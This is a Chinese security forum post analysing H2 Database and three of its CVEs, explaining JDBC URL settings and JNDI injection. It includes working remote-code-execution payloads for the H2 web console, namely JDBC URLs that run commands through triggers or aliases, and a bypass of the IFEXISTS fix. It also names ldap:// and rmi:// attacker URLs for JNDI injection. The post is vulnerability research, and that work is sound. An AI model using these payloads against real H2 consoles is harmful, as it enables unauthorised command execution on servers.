首页
社区
课程
招聘
[原创]H2 Database及其三个CVE详细分析
发表于: 2026-3-21 12:56 1977

[原创]H2 Database及其三个CVE详细分析

2026-3-21 12:56
1977

H2 DataBase

H2 profile

一个纯 Java 编写的开源 SQL 数据库

有以下五个特征:

  • 体积小巧,零依赖

  H2 Database 主要为嵌入式场景设计

        所以体积相比其他数据库更加轻量且不依赖任何外部库,单个 JAR 文件只需 2.1–2.7 MB

  • Browser-based Console

  H2 提供基于浏览器的 Web 管理界面,便于开发和调试

  • 磁盘 / 内存双模式

        既可以将数据持久化到磁盘文件,也支持纯内存数据库,适用于不同使用场景

  • 嵌入式 / 服务端双模式

        可嵌入 Java 应用进程内运行(Embedded 模式),也可作为独立数据库服务器运行

  • 原生支持 JDBC 接口

  H2 原生兼容 JDBC,便于 Java 应用快速集成


此外,H2 Database 的设计初衷是被用于内网环境或受保护的开发环境中,而非直接暴露至公网环境中

官方文档提到:H2 is not designed to be run outside of a secure environment.

所以 H2 官方其实不承认很多因为 web ui 暴露至公网所导致的 CVE

言外之意:我压根就不是这么设计的,你非要这么用,那后果自负

(虽然后面还是会打相应的补丁)

H2 JDBC

JDBC 是 Java 提供的 访问数据库的标准 API ,全称是 Java Database Connectivity

H2 的 JDBC URL 如下:

jdbc:h2:<mode>:<database>;<setting1>;<setting2>;...


<mode> 决定数据库的存储/连接方式

mode

含义

示例

mem

纯内存数据库

jdbc:h2:mem:test

file/不写

本地磁盘文件数据库

jdbc:h2:file:/data/test

等价于

jdbc:h2:/data/test

tcp

TCP/IP 远程连接

jdbc:h2:tcp://127.0.0.1/~/test

ssl

SSL 加密远程连接

jdbc:h2:ssl://127.0.0.1/~/test


<database> 是数据库名称,可以是文件名、内存名称、TCP 路径等

连接形式

JDBC URL

<database> 示例

说明

内存数据库

jdbc:h2:mem:test

test

内存数据库名称

匿名内存数据库

jdbc:h2:mem:

空

未显式指定名称

本地文件数据库

jdbc:h2:file:/data/test

/data/test

本地数据库文件路径

本地文件数据库

jdbc:h2:~/test

~/test

用户主目录下的数据库路径

TCP 远程连接

jdbc:h2:tcp://localhost/~/test

//localhost/~/test

远程服务器上的数据库路径

SSL 远程连接

jdbc:h2:ssl://db.example.com/prod/test

//db.example.com/prod/test

远程服务器上的数据库路径


<setting> 是可选的连接参数,控制数据库行为

漏洞常见的 setting 包括但不限于:

参数名称

参数作用

常见值

INIT

H2 JDBC URL 初始化参数,连接建立后自动执行 SQL

RUNSCRIPT FROM '...'

IGNORE_UNKNOWN_SETTINGS

忽略未知 JDBC URL 参数,避免因额外参数报错

TRUE

FORBID_CREATION

控制是否禁止创建数据库

FALSE

driver

传入 JdbcUtils.getConnection() 的驱动类名

在 Console / Shell / 某些 SQL 过程里可控

默认为org.h2.Driver

通常劫持为

javax.naming.InitialContext

url

传入 JdbcUtils.getConnection() 的数据库 URL / JNDI URL

ldap://attacker/...

rmi://attacker/...

H2 JNDI

JNDI 是 Java 提供的命名和目录服务标准 API ,全称是Java Naming and Directory Interface

它的作用是通过名称去查找资源,而不是在代码里直接硬编码资源对象

而 JNDI 注入是指当应用在初始化 JNDI 查询时

lookup() 的参数可被攻击者控制且未作过滤或过滤可绕过,攻击者可借此让应用去查询恶意命名服务

协议

作用

LDAP

轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容

RMI

JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象

DNS

域名服务

CORBA

公共对象请求代理体系结构

CVE

CVE-2018-10054

适用版本:H2 Database 1.4.197 以及之前的所有版本

利用前提:仅需要http://ip:port/h2-console/可访问

Poc 以及成因:

如果网站管理员将下面的两个参数设置为了 True , 就会将 h2-console 这个 web 管理 ui 界面启用

spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true

同时由于H2 database 预期只被部署在内网和受控网络环境中

所以 H2 Group 官方没有对 h2-console 做任何鉴权处理

而 h2-console 可以让我们完全自定义 JDBC 和 驱动类

同时 H2 Database 1.4.197 及之前并未禁止远程创建数据库且未对 JDBC URL 做任何过滤和限制

这就导致攻击者不需要事先知道具体有哪些数据库,也不需要考虑哪些 JDBC setting 不可用

攻击者可以任意指定数据库名,H2 database 会自动创建原本不存在的数据库

那么有以下两种攻击路径:

  1. JS

    1.   当目标 Java 版本较低时,可通过 JavaScript 方法 RCE :

      Java8-Java14,Java 15 以后 Java 自带的 Nashorn JavaScript 引擎被删除

      jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
          var is = java.lang.Runtime.getRuntime().exec("id").getInputStream()
          var scanner = new java.util.Scanner(is).useDelimiter("\\A")
          throw new java.lang.Exception(scanner.next())
      $$;
      --jdbc:h2:mem:test; 进入(不存在则创建)名为test的纯内存数据库
      --MODE=MSSQLServer; 把 H2 切到 SQL Server 兼容模式
      --INIT=... 连接建立时先执行一段初始化 SQL
      --CREATE TRIGGER ... AS $$//javascript ... 在数据库里注册一个触发器,并把触发器逻辑写成脚本

        结果以异常的形式被抛出


  2. JDK

    1. jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE ALIAS EXEC AS 'String rce(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "test";}';CALL EXEC ('open -a Calculator.app');

CVE-2022-23221

适用版本:H2 Database 2.0.210 以及之前的所有版本

利用前提:仅需要http://ip:port/h2-console/可访问

Poc 以及成因:

在 CVE-2018-10054 被公布一段时间后,H2 Group 虽然一开始并不承认该漏洞

但最终还是在 1.4.198 修复了该漏洞

对于 H2 大于等于 1.4.198 的版本来说,如果使用CVE-2018-10054的Payload,会出现如下问题

Database “mem:test” not found, either pre-create it or allow remote database creation (not recommended in secure environments)

出现该问题的原因是 H2 group 认为该漏洞是之前未禁止远程创建数据库导致的

所以H2 group加了一条 if 语句

如果攻击者访问的数据库不存在,就强制在 JDBC URL 尾部追加一条;IFEXISTS=TRUE

也就是如果攻击者访问的数据库必须存在,否则报错,不会自动新建一个数据库

但是分号是可以被转义掉的,转义之后再使用一个已知的属性接受掉后面这块多余的字符串即可

比如AUTHZPWD和2.0.202之后引入的IGNORE_UNKNOWN_SETTINGS

事实上

在版本 1.4.198 到 2.0.210 之间,H2 database 支持不识别的属性,所以其实随便按下键盘都行

jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
    var is = java.lang.Runtime.getRuntime().exec("id").getInputStream()
    var scanner = new java.util.Scanner(is).useDelimiter("\\A")
    throw new java.lang.Exception(scanner.next())
$$;XXX=\
--jdbc:h2:mem:test; 进入(不存在则创建)名为test的纯内存数据库
--MODE=MSSQLServer; 把 H2 切到 SQL Server 兼容模式
--INIT=... 连接建立时先执行一段初始化 SQL
--CREATE TRIGGER ... AS $$//javascript ... 在数据库里注册一个触发器,并把触发器逻辑写成脚本
--XXX=\使用一个已知或未知的属性接收多余字符串

CVE-2021-42392

适用版本:H2 Database 2.0.206 以及之前的所有版本(不包含H2 Database 2.0.206)

利用前提:仅需要http://ip:port/h2-console/可访问

Poc 以及成因:

在之前的 CVE 中,我们只控制了JDBC URL

但是我们可以通过控制驱动类进行 JNDI 注入攻击

可以看到,Driver Class 有两种可能的类别:java.sql.Driver和javax.naming.Context

默认的org.h2.Driver是实现的java.sql.Driver接口

但在第二个if语句的注释里已经告诉我们了,这里同样支持JNDI的方式来查找数据库连接

只需要将driver class设置为javax.naming.InitialContext



冰与火的战歌:Windows内核攻防实战高级班!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。

最后于 2026-3-21 14:19 被zemu137编辑 ,原因:
收藏
点赞 ・3
打赏
分享
最新回复 (1)
雪    币: 799
活跃值: (548)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
2 楼
前来催更
2026-3-23 14:42
0
游客
登录 | 注册 方可回帖
返回